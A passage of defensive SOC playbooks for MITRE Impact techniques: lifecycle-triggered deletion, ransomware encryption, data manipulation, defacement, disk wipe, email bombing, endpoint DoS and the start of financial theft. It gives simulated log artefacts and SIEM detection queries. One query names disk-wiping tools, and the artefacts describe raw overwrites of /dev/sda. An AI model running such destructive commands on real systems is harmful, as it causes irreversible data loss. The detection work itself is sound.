- Include access-denial scenarios in SOC and IR tabletop exercises

Playbook 237 (MITRE Impact): Data Destruction – Lifecycle-Triggered Deletion

Technique: Data Destruction

Sub-technique: Lifecycle-Triggered Deletion

Purpose

Detect, investigate and respond to attackers destroying data by abusing automated lifecycle, retention or expiry mechanisms, enabling attackers to:

- Delete data without running obvious destructive commands
- Bypass traditional “delete” or “wipe” detections
- Make destruction appear as normal system or cloud behaviour
- Delay detection by aligning destruction with policy logic
- Permanently remove backups, logs or evidence

Lifecycle-Triggered Deletion is plausible deniability destruction attackers don’t delete data directly; they reconfigure the rules so the system deletes it for them.

When to trigger this playbook

Trigger this playbook when indicators suggest unexpected or accelerated data deletion caused by lifecycle, retention or expiration policies, including:

- Sudden enforcement or modification of retention policies
- Objects deleted “by policy” rather than user action
- Cloud storage lifecycle rules changed shortly before mass deletion
- Backup or log retention windows reduced drastically
- Destruction coinciding with incident response or exfiltration

Example use case scenario (end-to-end)

Context: SOC investigates a suspected breach. Within hours, cloud audit logs show lifecycle rules modified on a storage bucket from 365 days to 1 day. The next lifecycle run deletes months of application logs and backups. No manual delete events are observed.

Attacker objective: Destroy evidence and operational data while making deletion appear automated and legitimate.

Defender objective: Detect malicious policy abuse, stop further deletions and assess irreversible data loss.

What it looks like (simulated SOC artefacts)

A) Lifecycle Policy Modification

Action=UpdateLifecycleRule

OldRetention=365 days

NewRetention=1 day

B) Policy-Driven Deletion

DeleteReason=LifecycleExpiration

UserAction=None

C) Mass Object Deletion

ObjectsDeleted=12,842

Service=Cloud Storage

D) Targeted Data Types

DataType=Logs, Backups

E) Timing Correlation

Event=RetentionChange

FollowedBy=IncidentInvestigation

F) No Manual Delete Commands

DeleteAPI=NotObserved

Severity decision (SOC)

High

- Limited lifecycle changes with minimal data loss

Critical

- Large-scale data deletion
- Destruction of logs, backups or regulated data
- Lifecycle abuse linked to confirmed intrusion

Example severity: Critical

(Irreversible data destruction via lifecycle abuse)

Step-by-step SOC workflow

Step 1 Validate lifecycle-triggered deletion

Confirm:

1. Was data deleted due to lifecycle or retention rules?
2. Were those rules recently modified?
3. Was the modification approved and documented?
4. Does deletion impact evidence, backups or business data?

Decision point

- Approved retention change → document
- Malicious lifecycle abuse → escalate immediately

Step 2 Identify method and scope

Method	Evidence	Attacker value
Retention reduction	Policy change logs	Rapid deletion
Expiry acceleration	Short TTLs	Plausible deniability
Backup lifecycle abuse	Backup purge	Recovery denial
Log retention abuse	Log loss	Evidence destruction
Automation	Scheduled lifecycle runs	Scale

Step 3 Map behaviour to attacker intent

3A) Evidence Destruction

Indicators

- Logs deleted by policy

Attacker intent

- Prevent forensic reconstruction

3B) Recovery Prevention

Indicators

- Backups removed automatically

Attacker intent

- Block restoration after attack

3C) Detection Delay

Indicators

- Deletion appears “normal”

Attacker intent

- Avoid immediate suspicion

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Exfiltration
 - Data stolen before destruction
2. Account Access Removal
 - Identity disruption post-deletion
3. Defense Evasion
 - Log suppression or tampering
4. Other Impact
 - Service stop or corruption

Decision point

- Evidence found → escalate to Major Incident / Full IR

Containment actions

Immediate

1. Freeze lifecycle and retention policy changes
2. Disable automated deletion jobs if possible
3. Preserve remaining logs and backups

If lifecycle abuse confirmed

1. Roll back lifecycle and retention policies
2. Identify all deleted data and affected systems
3. Recover from immutable or offline backups (if available)
4. Notify SOC leadership, IR, IT Ops, Legal and Compliance

Eradication and recovery

- Remove attacker access to policy management APIs
- Rotate credentials and revoke tokens used for changes
- Rebuild retention and backup configurations
- Implement immutability or legal-hold protections
- Monitor closely for renewed policy manipulation

Detection engineering (SIEM ideas)

A) Retention or lifecycle rule changes

```
index=cloud_audit
| where action IN ("UpdateLifecycleRule","ModifyRetentionPolicy")
| where approved_change!="true"
```

B) Policy-driven mass deletion

```
index=cloud_storage
| where delete_reason="LifecycleExpiration"
| stats count by bucket
| where count > baseline
```

C) Retention change near incident activity

```
index=cloud_audit
| join user [search index=security where indicator="Intrusion"]
```

Analyst checklist

- Lifecycle-triggered deletion confirmed
- Policy changes identified and reversed
- Data loss scope assessed
- Evidence preserved where possible
- Incident escalated appropriately

Post-incident improvements

- Treat retention and lifecycle changes as destructive actions
- Enforce MFA and approval for policy modifications
- Use immutable backups and legal holds for critical data
- Correlate intrusion → retention change → data loss
- Include lifecycle-abuse scenarios in SOC and IR tabletop exercises

Playbook 238 (MITRE Impact): Data Encrypted for Impact

Technique: Data Encrypted for Impact

Purpose

Detect, investigate and respond to attackers encrypting data to disrupt operations, deny access or extort the organisation, enabling attackers to:

- Render systems and data unusable
- Force ransom payment or coercive negotiation
- Halt business operations and services
- Destroy trust in data availability and integrity
- Amplify the impact of prior compromise or exfiltration

Data Encrypted for Impact is operational denial through cryptography attackers don't steal data only; they take it hostage.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised encryption of data or systems, including:

- Sudden mass file encryption or extension changes
- Inaccessible files with unknown or invalid keys
- Ransom notes or encryption instructions discovered
- Cryptographic processes running outside approved tooling
- Backup encryption or deletion immediately before or after encryption

Example use case scenario (end-to-end)

Context: SOC detects thousands of file rename operations within minutes on a file server. Files are appended with a new extension and cannot be opened. EDR telemetry shows a previously unseen process performing bulk encryption using system crypto APIs. A ransom note is dropped in multiple directories.

Attacker objective: Encrypt critical data to deny access and extort payment.

Defender objective: Contain encryption activity, preserve recovery paths and restore operations.

What it looks like (simulated SOC artefacts)

A) Mass File Encryption

Action=RenameFile
Extension=.locked
Count=12,450

B) Crypto API Abuse

Process=encryptor.exe
API=CryptEncrypt
Volume=High

C) Ransom Note Deployment

File=README_RESTORE.txt
Location=MultipleDirectories

D) Backup Targeting

Action=DeleteBackup
Service=VSS

E) Rapid Propagation

HostCount=Multiple
Time=Minutes

F) Data Inaccessibility

Status=Unreadable
Key=Unknown

Severity decision (SOC)

High

- Encryption limited to non-critical systems

Critical

- Encryption of production, backup or regulated data
- Multi-system or domain-wide encryption
- Confirmed ransomware activity

Example severity: Critical

(Active ransomware encrypting organisational data)

Step-by-step SOC workflow

Step 1 Validate encryption-for-impact activity

Confirm:

1. Are files encrypted and inaccessible?
2. Is encryption unauthorised and irreversible without keys?
3. Is activity automated and widespread?
4. Are ransom or coercion indicators present?

Decision point

- Legitimate encryption (backup/security) → document
- Malicious encryption for impact → escalate immediately

Step 2 Identify encryption scope and method

Indicator	Evidence	Attacker value
Bulk encryption	File operations	Rapid impact
Custom extensions	Rename patterns	Visibility
Crypto API usage	High-volume calls	Reliability
Backup deletion	VSS removal	Recovery denial
Lateral spread	Multiple hosts	Scale

Step 3 Map behaviour to attacker intent

3A) Operational Denial

Indicators

- Core systems inaccessible

Attacker intent

- Halt business operations

3B) Financial Extortion

Indicators

- Ransom notes or payment instructions

Attacker intent

- Force payment

3C) Escalation of Impact

Indicators

- Encryption after exfiltration

Attacker intent

- Increase leverage

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Exfiltration
 - Double-extortion data theft
2. Account Access Removal
 - Lockout of admins
3. Service Stop
 - Disabling recovery services
4. Defense Evasion
 - Log deletion or tampering

Decision point

- Evidence found → escalate to Ransomware / Crisis IR

Containment actions

Immediate

1. Isolate infected systems immediately
2. Stop encryption processes
3. Disable network shares and lateral movement paths

If ransomware confirmed

1. Preserve memory, binaries and artefacts
2. Disable compromised accounts and sessions
3. Protect remaining backups (offline / immutable)
4. Activate ransomware incident response plan

Eradication and recovery

- Remove ransomware binaries and persistence
- Reimage affected systems
- Restore from clean, offline backups
- Rotate credentials and secrets
- Validate data integrity before bringing systems online

Detection engineering (SIEM ideas)

A) Mass file rename detection

```
index=edr  
| where action="RenameFile"  
| stats count by host  
| where count > threshold
```

B) High-volume crypto API usage

```
index=edr  
| where api_call="CryptEncrypt"  
| stats count by process_name  
| where count > baseline
```

C) Backup deletion + encryption correlation

```
index=edr  
| where action IN ("DeleteShadowCopy","EncryptFile")
```

Analyst checklist

- Data encryption for impact confirmed
- Scope of affected systems identified
- Encryption halted and systems isolated
- Recovery paths secured
- Incident escalated appropriately

Post-incident improvements

- Treat mass encryption as a crisis event
- Enforce least privilege and network segmentation
- Protect backups with immutability and offline storage
- Correlate intrusion → exfiltration → encryption
- Regularly rehearse ransomware response scenarios

Playbook 239 (MITRE Impact): Data Manipulation

Technique: Data Manipulation

Sub-techniques:

- Stored Data Manipulation
- Transmitted Data Manipulation
- Runtime Data Manipulation

Purpose

Detect, investigate and respond to attackers intentionally altering data to cause incorrect decisions, financial loss, safety issues or loss of trust, enabling attackers to:

- Change records, balances, logs or configurations
- Corrupt business logic without destroying systems
- Undermine integrity while keeping systems “online”
- Create long-term, subtle impact harder than outright destruction
- Support fraud, sabotage or geopolitical influence operations

Data Manipulation is integrity warfare systems continue running, but truth is altered.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised or unexpected data changes, including:

- Records changed without corresponding transactions or approvals
- Data values inconsistent across systems or environments
- Network data altered in transit
- Application behaviour changing without code deployment
- Integrity checks or hashes failing unexpectedly

Example use case scenario (end-to-end)

Context: SOC investigates discrepancies in financial reporting. Database logs show updates to transaction values made using a privileged account outside business hours. Separately, API traffic inspection reveals modified JSON fields during transmission. No ransomware or deletion activity is observed.

Attacker objective: Silently alter data integrity to cause financial and operational damage.

Defender objective: Identify manipulated data, restore integrity and prevent recurrence.

What it looks like (simulated SOC artefacts)

A) Stored Data Manipulation

Action=UPDATE
Table=Transactions
OldValue=1000
NewValue=10000
User=svc_api

B) Transmitted Data Manipulation

API=Request
Field=amount
Original=500
Modified=5000

C) Runtime Data Manipulation

MemoryValue=balance
Expected=750
Observed=75

D) Integrity Check Failure

HashMismatch=True
Object=ConfigFile

E) No Legitimate Change Record

ChangeTicket=None

F) Delayed Detection

ImpactDetected=WeeksLater

Severity decision (SOC)

High

- Limited or localised manipulation with recoverable impact

Critical

- Manipulation of financial, safety-critical or regulated data
- Widespread or long-term integrity compromise
- Manipulation linked to confirmed intrusion

Example severity: Critical

(Systemic data integrity compromise)

Step-by-step SOC workflow

Step 1 Validate data manipulation

Confirm:

1. Has data changed without authorisation?
2. Is manipulation stored, in-transit or runtime-based?
3. Does the change affect business logic or outcomes?
4. Is activity linked to suspicious accounts or processes?

Decision point

- Approved correction or sync issue → document
- Malicious data manipulation → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
Stored data	DB/file changes	Persistence
Transmitted data	Altered packets	Stealth
Runtime data	Memory tampering	Immediate effect
Integrity failure	Hash mismatch	Covertiness
Privileged abuse	Legit credentials	Low noise

Step 3 Map behaviour to attacker intent

3A) Integrity Undermining

Indicators

- Subtle value changes

Attacker intent

- Cause incorrect decisions

3B) Fraud or Sabotage

Indicators

- Financial or operational impact

Attacker intent

- Material damage without downtime

3C) Long-Term Trust Erosion

Indicators

- Late discovery

Attacker intent

- Undermine confidence in systems

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Account Access Removal
 - Preventing remediation
2. Defense Evasion
 - Log tampering
3. Exfiltration
 - Stealing data before manipulation
4. Other Impact
 - Encryption or destruction

Decision point

- Evidence found → escalate to Major Incident / Full IR

Containment actions

Immediate

1. Freeze affected data stores and APIs
2. Revoke suspected credentials
3. Isolate affected applications or services

If manipulation confirmed

1. Preserve before/after data states
2. Identify all impacted records and systems
3. Roll back to known-good data
4. Notify SOC leadership, IR, data owners and Legal

Eradication and recovery

- Remove attacker access paths
- Restore data from trusted backups or replicas
- Reconcile business records
- Enforce stronger integrity controls (hashing, signing)
- Monitor closely for re-manipulation attempts

Detection engineering (SIEM ideas)

A) Unauthorised data updates

```
index=db_audit  
| where action="UPDATE"  
| where approved_change!="true"
```

B) API field manipulation

```
index=api_logs  
| where field_modified="true"  
| where source!="approved_service"
```

C) Runtime memory tampering

```
index=edr  
| where action="MemoryWrite"  
| where process_name NOT IN baseline
```

Analyst checklist

- Data manipulation confirmed
- Sub-technique identified (Stored / Transmitted / Runtime)
- Scope and impact assessed
- Data integrity restored
- Incident escalated appropriately

Post-incident improvements

- Treat integrity anomalies as impact events
- Enforce immutable logs and strong audit trails
- Implement end-to-end data validation
- Correlate intrusion → manipulation → business impact
- Include data-manipulation scenarios in SOC and IR exercises

Playbook 240 (MITRE Impact): Defacement

Technique: Defacement

Sub-techniques:

- Internal Defacement
- External Defacement

Purpose

Detect, investigate and respond to attackers altering visual or informational content to damage reputation, spread misinformation or signal control, enabling attackers to:

- Publicly embarrass the organisation
- Undermine trust in systems, brands or services
- Spread propaganda, threats or false messages
- Distract defenders from concurrent actions (e.g., exfiltration)
- Demonstrate access and intimidate stakeholders

Defacement is symbolic impact the goal is not availability or confidentiality, but perception and trust.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised modification of displayed content, including:

- Website content changed without deployment approval
- Internal portals showing altered messages or imagery
- Login banners, dashboards or reports modified
- Threat messages, slogans or attacker branding displayed
- Content changes correlated with suspicious access or compromise

Example use case scenario (end-to-end)

Context: SOC is alerted that the public website homepage displays an unknown message and image. Web server logs show file modifications via a compromised CMS admin account. At the same time, internal dashboards display altered status messages claiming a breach.

Attacker objective: Cause reputational damage and psychological impact while proving system access.

Defender objective: Restore trusted content quickly, identify the intrusion path and prevent recurrence.

What it looks like (simulated SOC artefacts)

A) External Defacement

File=index.html
Change=ReplacedContent
Message="Hacked by X"

B) Internal Defacement

Portal=Intranet
Banner=Modified
Audience=Employees

C) Unauthorised Content Change

Action=WriteFile
User=compromised_admin

D) CMS or App Abuse

Component=CMS
AuthMethod=ValidCredentials

E) No Deployment Record

ReleaseID=None

F) Timing Correlation

Event=Defacement
PrecededBy=SuspiciousLogin

Severity decision (SOC)

High

- Limited internal defacement with minimal exposure

Critical

- Public-facing defacement

- Defacement tied to broader compromise
- Repeated or persistent content alteration

Example severity: Critical

(Public and internal defacement causing reputational harm)

Step-by-step SOC workflow

Step 1 Validate defacement activity

Confirm:

1. Was content modified without authorisation?
2. Is the defacement internal, external or both?
3. Does the content impact reputation or trust?
4. Is activity linked to compromised accounts or systems?

Decision point

- Approved content update → document
- Malicious defacement → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
External defacement	Website changes	Public impact
Internal defacement	Portal/dashboard changes	Psychological impact
Credential abuse	Valid login used	Low noise
CMS exploitation	Admin functions	Speed
Repeated changes	Persistence	Intimidation

Step 3 Map behaviour to attacker intent

3A) Reputational Damage

Indicators

- Public messages or imagery

Attacker intent

- Harm brand and credibility

3B) Psychological Operations

Indicators

- Threats or slogans

Attacker intent

- Intimidate staff or users

3C) Distraction

Indicators

- Defacement during other attack stages

Attacker intent

- Divert defender attention

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Initial Access / Persistence
 - How content access was obtained
2. Credential Access
 - Compromised admin accounts
3. Defense Evasion
 - Log tampering or backdoors
4. Other Impact
 - Data manipulation or destruction

Decision point

- Evidence found → escalate to Major Incident / Full IR

Containment actions

Immediate

1. Take affected services offline if necessary
2. Restore content from known-good backups
3. Revoke compromised credentials and sessions

If defacement confirmed

1. Preserve modified files and logs
2. Identify and close the intrusion vector
3. Reset credentials for affected roles
4. Notify SOC leadership, IR, IT Ops, Comms and Legal

Eradication and recovery

- Patch exploited CMS or application flaws
- Reimage compromised servers if required
- Enforce MFA and least privilege for content admins
- Validate integrity of all content and templates
- Monitor closely for repeated defacement attempts

Detection engineering (SIEM ideas)

A) Unauthorised file changes on web servers

```
index=edr  
| where action="WriteFile"  
| where path LIKE "%www%" OR path LIKE "%public%"  
| where approved_change!="true"
```

B) CMS admin activity outside deployment windows

```
index=app_logs  
| where role="Admin"  
| where hour(_time) NOT IN business_hours
```

C) Content integrity monitoring

```
index=integrity  
| where hash_changed="true"  
| where asset_type IN ("Web","Portal")
```

Analyst checklist

- Defacement confirmed (Internal / External)
- Scope and affected assets identified
- Content restored and access revoked
- Intrusion vector remediated
- Incident escalated appropriately

Post-incident improvements

- Treat content integrity as a security signal
- Implement file integrity monitoring for web assets
- Enforce MFA and approvals for content changes
- Correlate compromise → defacement → other impact
- Include defacement scenarios in SOC and IR exercises

Playbook 241 (MITRE Impact): Disk Wipe

Technique: Disk Wipe

Sub-techniques:

- Disk Content Wipe
- Disk Structure Wipe

Purpose

Detect, investigate and respond to attackers deliberately destroying disk data or disk structures to render systems unrecoverable, enabling attackers to:

- Permanently destroy data beyond recovery
- Prevent system boot or filesystem mounting
- Eliminate forensic artefacts and evidence
- Maximise downtime and recovery costs
- Escalate attacks from disruption to irreversible damage

Disk Wipe is irreversible impact attackers don't just deny access; they erase the ground truth.

When to trigger this playbook

Trigger this playbook when indicators suggest intentional disk destruction, including:

- Sudden loss of filesystem data across one or more hosts
- Systems failing to boot with disk or partition errors
- Execution of disk-wiping utilities or raw device writes
- Overwriting of boot records, partition tables or superblocks
- Disk wipe activity occurring after exfiltration or encryption

Example use case scenario (end-to-end)

Context: SOC receives alerts that multiple servers fail to reboot after a maintenance window. EDR telemetry shows execution of a binary writing directly to /dev/sda. Boot diagnostics indicate corrupted partition tables and missing filesystems. Minutes earlier, the same hosts showed signs of data exfiltration.

Attacker objective: Cause permanent system destruction and prevent recovery or investigation.

Defender objective: Contain the attack, preserve remaining evidence and initiate disaster recovery.

What it looks like (simulated SOC artefacts)

A) Disk Content Wipe

Target=/dev/sda1
Operation=Overwrite
Pattern=Random

B) Disk Structure Wipe

Component=MBR/GPT
Status=Corrupted

C) Raw Disk Access

Process=wipe.exe
Action=WriteRawDevice

D) Filesystem Failure

MountError=SuperblockInvalid

E) Boot Failure

Error=NoBootableDevice

F) Timing Correlation

Event=DiskWipe
PrecededBy=Exfiltration

Severity decision (SOC)

High

- Disk wipe limited to non-critical systems with backups available

Critical

- Disk wipe on production or recovery systems
- Structural disk damage preventing boot
- Coordinated wipe across multiple hosts

Example severity: Critical

(Irreversible disk destruction impacting operations)

Step-by-step SOC workflow

Step 1 Validate disk wipe activity

Confirm:

1. Was disk data or structure intentionally destroyed?
2. Is the damage recoverable from backups?
3. Did wiping involve raw disk or boot components?
4. Is activity linked to malicious processes or accounts?

Decision point

- Accidental disk corruption → document
- Malicious disk wipe → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
Disk content wipe	Overwritten files	Data destruction
Disk structure wipe	MBR/GPT damage	System denial
Raw device writes	/dev/* access	Forensic evasion
Multi-host impact	Coordinated action	Scale
Post-exfiltration	Timing correlation	Maximum damage

Step 3 Map behaviour to attacker intent

3A) Irreversible Damage

Indicators

- Overwritten data and structures

Attacker intent

- Prevent recovery

3B) Operational Shutdown

Indicators

- Systems unbootable

Attacker intent

- Prolong downtime

3C) Evidence Destruction

Indicators

- Loss of logs and artefacts

Attacker intent

- Obstruct investigation

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Account Access Removal
 - Locking out responders
2. Data Encrypted for Impact
 - Hybrid destructive attacks
3. Service Stop
 - Disabling dependent services
4. Defense Evasion
 - Log or backup destruction

Decision point

- Evidence found → escalate to Crisis / Disaster Recovery IR

Containment actions

Immediate

1. Power off affected systems to prevent further writes
2. Isolate remaining at-risk hosts
3. Preserve disks for forensic analysis

If disk wipe confirmed

1. Disable attacker credentials and sessions
2. Protect remaining backups and storage
3. Activate disaster recovery and business continuity plans
4. Notify SOC leadership, IR, IT Ops, Legal and Executive teams

Eradication and recovery

- Remove attacker access and persistence
- Rebuild systems from bare metal if required
- Restore from verified, offline backups
- Validate integrity of restored systems
- Monitor closely for repeated destructive actions

Detection engineering (SIEM ideas)

A) Raw disk write detection

```
index=edr  
| where action="WriteRawDevice"  
| where process_name NOT IN baseline
```

B) Disk wipe tool execution

```
index=edr  
| where process_name IN ("dd","shred","wipe","diskpart")
```

C) Boot or filesystem failure correlation

```
index=system  
| where event IN ("BootFailure","MountError")  
| join host [search index=edr where action="WriteRawDevice"]
```

Analyst checklist

- Disk wipe confirmed (Content / Structure)
- Scope and affected systems identified
- Systems isolated and evidence preserved
- Recovery and DR initiated
- Incident escalated appropriately

Post-incident improvements

- Treat raw disk access as a critical security signal
- Enforce strict controls on disk utilities and admin rights
- Protect backups with immutability and offline storage
- Correlate intrusion → exfiltration → destructive impact
- Include disk-wipe scenarios in crisis and DR exercises

Playbook 242 (MITRE Impact): Email Bombing

Technique: Email Bombing

Purpose

Detect, investigate and respond to attackers overwhelming mail systems or users with massive volumes of emails, enabling attackers to:

- Disrupt business communications and productivity
- Obscure critical security alerts, password resets or MFA prompts
- Distract defenders during parallel attack stages (e.g., fraud, account takeover)
- Exhaust mail infrastructure resources (queues, storage, CPU)
- Apply pressure or harassment to individuals or teams

Email Bombing is communication denial and distraction attackers don't break systems; they flood attention and capacity.

When to trigger this playbook

Trigger this playbook when indicators suggest abnormal surges in inbound or internal email traffic, including:

- Sudden spikes of thousands of emails to specific mailboxes or groups
- High-volume subscription confirmations or newsletters arriving simultaneously
- Repeated emails from many unique senders/domains in a short window
- Mail queue backlogs or delivery delays
- Security alerts buried beneath excessive email noise

Example use case scenario (end-to-end)

Context: SOC receives reports that finance and IT mailboxes are unusable due to tens of thousands of emails. Mail logs show mass inbound traffic from diverse domains, many tied to automated signup confirmations. Simultaneously, an attacker attempts account takeover using password resets that go unnoticed.

Attacker objective: Create noise and distraction to mask or enable other malicious actions.

Defender objective: Restore email availability, surface critical messages and identify concurrent attack activity.

What it looks like (simulated SOC artefacts)

A) Email Volume Spike

Recipient=it-admin@company.com

EmailsReceived=25,000

TimeWindow=30 minutes

B) Diverse Senders

UniqueSenders=3,200

Domains=Multiple

C) Automated Subscription Flood

Subject="Confirm your subscription"

Pattern=Repeated

D) Mail Infrastructure Stress

QueueDepth=High

DeliveryDelay=Yes

E) Concurrent Security Events

Event=PasswordReset

Visibility=Buried

F) No Legitimate Campaign

MarketingSend=None

Severity decision (SOC)

High

- Targeted mailbox flooding without infrastructure impact

Critical

- Organisation-wide email disruption
- Email bombing coinciding with fraud or intrusion
- Mail system degradation affecting operations

Example severity: Critical

(Email bombing used to mask active attack activity)

Step-by-step SOC workflow

Step 1 Validate email bombing activity

Confirm:

1. Is email volume abnormally high and sudden?
2. Are messages unsolicited and diverse in origin?
3. Is the activity targeted or organisation-wide?
4. Are other security events occurring concurrently?

Decision point

- Legitimate bulk email (campaign/test) → document
- Malicious email bombing → escalate immediately

Step 2 Identify method and scope

Method	Evidence	Attacker value
Subscription abuse	Confirmation emails	Easy scale
Direct send flood	Many senders	Noise
Targeted bombing	Specific users	Distraction
Infra saturation	Queue backlog	Denial
Timing overlap	Parallel attacks	Cover

Step 3 Map behaviour to attacker intent

3A) Distraction and Cover

Indicators

- Email flood during sensitive actions

Attacker intent

- Hide alerts and user prompts

3B) Operational Disruption

Indicators

- Mail delays or outages

Attacker intent

- Reduce organisational effectiveness

3C) Psychological Pressure

Indicators

- Targeted harassment

Attacker intent

- Fatigue or coerce individuals

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Account Takeover
 - Password resets, MFA fatigue
2. Fraud
 - Payment or invoice changes
3. Defense Evasion
 - Alerts buried or ignored
4. Other Impact
 - Service stop or access removal

Decision point

- Evidence found → escalate to Major Incident / Coordinated Attack IR

Containment actions

Immediate

1. Enable aggressive rate-limiting and throttling
2. Activate temporary mail filtering rules (pattern/subject-based)
3. Prioritise delivery of security and admin alerts

If email bombing confirmed

1. Divert flood traffic to quarantine or sinkhole
2. Protect targeted mailboxes with aliases or temporary blocks
3. Surface and review critical messages during the window
4. Notify SOC leadership, IT Ops and affected teams

Eradication and recovery

- Remove temporary filters once flood subsides
- Reset credentials for targeted users if risk exists
- Review mail gateway protections and policies
- Tune alerting to bypass noise during floods
- Monitor closely for repeat bombing or follow-on attacks

Detection engineering (SIEM ideas)

A) Email volume anomaly

```
index=mail  
| bucket _time span=5m  
| stats count by recipient, _time  
| where count > baseline
```

B) Diverse sender flood

```
index=mail  
| stats dc(sender) by recipient  
| where dc(sender) > threshold
```

C) Subscription confirmation surge

```
index=mail  
| where subject LIKE "%confirm%"  
| stats count by recipient
```

Analyst checklist

- Email bombing confirmed
- Targeted users and scope identified
- Mail flow stabilised and alerts prioritised
- Concurrent attacks investigated
- Incident escalated appropriately

Post-incident improvements

- Treat email floods as impact events and attack enablers
- Harden mail gateways with adaptive rate limits
- Ensure critical security alerts bypass bulk filtering
- Correlate email bombing → credential/fraud attempts
- Include email-bombing distraction scenarios in SOC playbooks and IR drills

Playbook 243 (MITRE Impact): Endpoint Denial of Service

Technique: Endpoint Denial of Service

Sub-techniques:

- OS Exhaustion Flood
- Service Exhaustion Flood
- Application Exhaustion Flood
- Application or System Exploitation

Purpose

Detect, investigate and respond to attacks that exhaust endpoint resources or exploit endpoint software to make systems unavailable, enabling attackers to:

- Freeze or crash operating systems
- Starve services of CPU, memory, threads or file handles
- Render applications unusable without destroying data
- Disrupt user productivity and business workflows
- Create diversion during intrusion, exfiltration or fraud

Endpoint DoS is availability warfare at the host level attackers target the last mile: the machine itself.

When to trigger this playbook

Trigger this playbook when indicators suggest endpoint-level availability degradation, including:

- Endpoints becoming unresponsive or freezing
- Abnormally high CPU, memory, disk or handle usage
- Repeated service crashes or restart loops
- Applications timing out across many endpoints
- Endpoint outages correlated with suspicious processes or traffic

Example use case scenario (end-to-end)

Context: SOC receives reports that dozens of employee laptops are freezing. EDR shows a single process spawning thousands of threads, consuming 100% CPU. On servers, a custom service crashes repeatedly after malformed requests. No ransomware or disk destruction is observed.

Attacker objective: Disrupt endpoint availability to halt operations and distract defenders.

Defender objective: Stabilise endpoints, identify malicious triggers and prevent recurrence.

What it looks like (simulated SOC artefacts)

A) OS Exhaustion Flood

CPU=100%
Threads=45,000
Process=suspicious.exe

B) Service Exhaustion Flood

Service=PrintSpooler
RequestsPerSecond=Abnormal
Status=Unresponsive

C) Application Exhaustion Flood

App=CRM_Client
MemoryUsage=8GB
Response=Timeout

D) Exploitation-Based DoS

Exploit=MalformedRequest
Result=ServiceCrash

E) Widespread Endpoint Impact

AffectedHosts=Multiple
TimeWindow=Minutes

F) No Legitimate Load

BusinessActivity=None

Severity decision (SOC)

High

- Limited endpoint disruption with quick recovery

Critical

- Widespread endpoint or service unavailability
- Business-critical applications impacted
- DoS used alongside confirmed intrusion

Example severity: Critical

(Endpoint-level availability attack impacting operations)

Step-by-step SOC workflow

Step 1 Validate endpoint DoS activity

Confirm:

1. Are endpoints or services unavailable or degraded?
2. Is resource exhaustion abnormal and sustained?
3. Is activity triggered by suspicious processes, traffic or inputs?
4. Are multiple endpoints or users affected?

Decision point

- Legitimate workload spike → document
- Malicious endpoint DoS → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
OS exhaustion	CPU/memory/thread flood	System freeze
Service exhaustion	Request floods	Service outage
App exhaustion	App resource spikes	User disruption
Exploitation DoS	Crashes on malformed input	Low effort impact
Multi-host spread	Repeated pattern	Scale

Step 3 Map behaviour to attacker intent

3A) Availability Disruption

Indicators

- Frozen or crashing endpoints

Attacker intent

- Halt productivity

3B) Distraction

Indicators

- DoS during other attack phases

Attacker intent

- Divert SOC and IT attention

3C) Coercion or Pressure

Indicators

- Targeted disruption of key teams

Attacker intent

- Force rushed decisions

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Intrusion Activity
 - Credential abuse or persistence
2. Exfiltration
 - Data theft during disruption
3. Account Access Removal
 - Lockouts of responders
4. Other Impact
 - Encryption or disk wipe

Decision point

- Evidence found → escalate to Major Incident / Coordinated Attack IR

Containment actions

Immediate

1. Isolate affected endpoints from the network
2. Kill or suspend offending processes
3. Throttle or block abusive traffic sources

If endpoint DoS confirmed

1. Disable exploited services or features temporarily
2. Patch or mitigate vulnerable applications
3. Apply endpoint resource limits or policies
4. Notify SOC leadership, IT Ops and affected business units

Eradication and recovery

- Remove malicious binaries or scripts
- Patch exploited vulnerabilities
- Reimage severely impacted endpoints if needed
- Restore services and validate stability
- Monitor closely for renewed exhaustion attempts

Detection engineering (SIEM ideas)

A) Endpoint resource exhaustion

```
index=edr  
| where cpu_usage > 90 OR memory_usage > threshold  
| stats avg(cpu_usage) by host, process_name
```

B) Service crash loops

```
index=system  
| where event="ServiceCrash"  
| stats count by service_name  
| where count > baseline
```

C) Exploitation-driven DoS

```
index=app_logs  
| where error_type="MalformedRequest"  
| stats count by source_ip
```

Analyst checklist

- Endpoint DoS confirmed
- Sub-technique identified (OS / Service / App / Exploit)
- Scope and affected endpoints identified
- Systems stabilised and protected
- Incident escalated appropriately

Post-incident improvements

- Treat endpoint availability loss as an impact signal
- Enforce endpoint resource controls and monitoring
- Patch and harden exposed services and applications
- Correlate DoS activity → concurrent attack stages
- Include endpoint DoS scenarios in SOC and IR exercises

Playbook 244 (MITRE Impact): Financial Theft

Technique: Financial Theft

Purpose

Detect, investigate and respond to attackers stealing funds or redirecting financial value, enabling attackers to:

- Transfer money to attacker-controlled accounts
- Redirect payments, invoices or refunds
- Abuse payroll, vendor or expense systems
- Exploit cloud billing, credits or crypto wallets
- Monetise prior access rapidly before detection

Financial Theft is direct monetisation impact the attacker converts access into immediate financial loss.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised financial transactions or redirection, including:

- Unexpected fund transfers or withdrawals
- Changes to vendor bank details without approval
- Payroll or expense anomalies
- Cloud billing spikes or credit abuse
- Crypto wallet activity tied to compromised systems

Example use case scenario (end-to-end)

Context: Finance flags an unexpected outbound transfer executed after business hours. Audit logs show changes to vendor banking details made via a compromised finance account. Email logs reveal prior phishing of the same user. Funds were transferred minutes after the change.

Attacker objective: Steal money quickly and quietly before controls catch up.

Defender objective: Stop further loss, recover funds where possible and close access paths.

What it looks like (simulated SOC artefacts)

A) Unauthorised Transfer

TransactionID=TX99821
Amount=250,000
Destination=ExternalAccount

B) Vendor Detail Manipulation

Action=UpdateVendorBank
